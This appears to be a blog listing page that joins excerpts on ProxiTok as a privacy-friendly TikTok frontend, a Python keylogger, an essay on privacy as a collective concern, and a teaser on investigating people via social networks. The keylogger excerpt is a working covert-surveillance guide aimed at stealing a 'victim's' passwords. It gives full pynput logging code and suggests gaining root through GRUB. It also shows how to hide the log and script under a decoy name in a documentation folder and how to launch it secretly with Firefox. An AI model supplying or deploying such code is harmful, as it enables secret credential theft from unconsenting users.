TikTok is a centralised social network and requires the use of proprietary software. It is practically impossible to query TikTok with the browser in a decent way without losing privacy or freedom... unless you use another interface, such as ProxyTok, which I describe in this article.

The ProxiTok interface is simple. You can go to trending content, discover users and search by username, tag, TikTok URL, music identifier and video identifier.

The project was launched on 1 January 2022, so it is quite young and more features are expected to be added. To automatically redirect to ProxiTok you can install the LibRedirect extension, which also prevents other privacy-harmful websites.

There are several public instances, and it is possible to install one on your own server.

In this article I show you how to program an advanced keylogger that sends messages by email and self-destructs after a certain date.

A simple way to steal passwords is to install a keylogger on the victim's computer. I am going to show how to do this on GNU/Linux using the Python programming language.

The first thing to do is to obtain superuser permissions. If the computer is managed by us, we already know the password. If not, we can get superuser access from GRUB. With the necessary permissions, we are free to install the keylogger.

First of all, the pynput library must be installed executing...

sudo pip install pynput

Next, we need to write the keylogger. This is the code we will use:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

The keylog is stored in log_dir. In this case, I have specified the GNU/Linux Python 3 documentation folder. The keylogger can also be stored in the same directory, perhaps with the name compile_docs.py or something similar to avoid attracting attention. Ideally, choose a folder that the victim is not going to enter to prevent them from realising what we are doing.

The last step would be to run the program every time the computer is turned on or a program is started without the victim noticing. If, for example, we want to start the keylogger every time the user opens Firefox, we can modify the Firefox command. Keep reading Basic keylogger for GNU/Linux to steal passwords and typed information

Many people give a personal explanation as to why they do or do not protect their privacy. Those who don't care much are heard to say that they have nothing to hide. Those who do care do so to protect themselves from unscrupulous companies, repressive states, etc. In both positions it is often wrongly assumed that privacy is a personal matter, and it is not.

Privacy is both an individual and a public matter. Data collected by large companies and governments is rarely used on an individual basis. We can understand privacy as a right of the individual in relation to the community, as Edward Snowden says:

Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say.

Your data can be used for good or bad. Data collected unnecessarily and without permission is often used for bad.

States and big tech companies blatantly violate our privacy. Many people tacitly acquiesce by arguing that nothing can be done to change it: companies have too much power and governments won't do anything to change things. And, certainly, those people are used to giving power to companies that make money from their data and are thus telling states that they are not going to be a thorn in their side when they want to implement mass surveillance policies. In the end, it harms the privacy of those who care.

Collective action starts with the individual. Each person should reflect on whether they are giving out data about themselves that they should not, whether they are encouraging the growth of anti-privacy companies and, most importantly, whether they are compromising the privacy of those close to them. The best way to protect private information is not to give it out. With an awareness of the problem, privacy projects can be supported.

Personal data is very valuable — so much so that some call it the “new oil” — not only because it can be sold to third parties, but also because it gives power to those who hold it. When we give it to governments, we give them the power to control us. When we give them to companies, we are giving them power to influence our behaviour. Ultimately, privacy matters because it helps us preserve the power we have over our lives that they are so intent on taking away. I'm not going to give away or sell my data, are you?

Few cyberspace detectives pay attention to the usage patterns of social networks, which can reveal deep desires, moods, etc. The social network algorithm Keep reading How to investigate people through social networks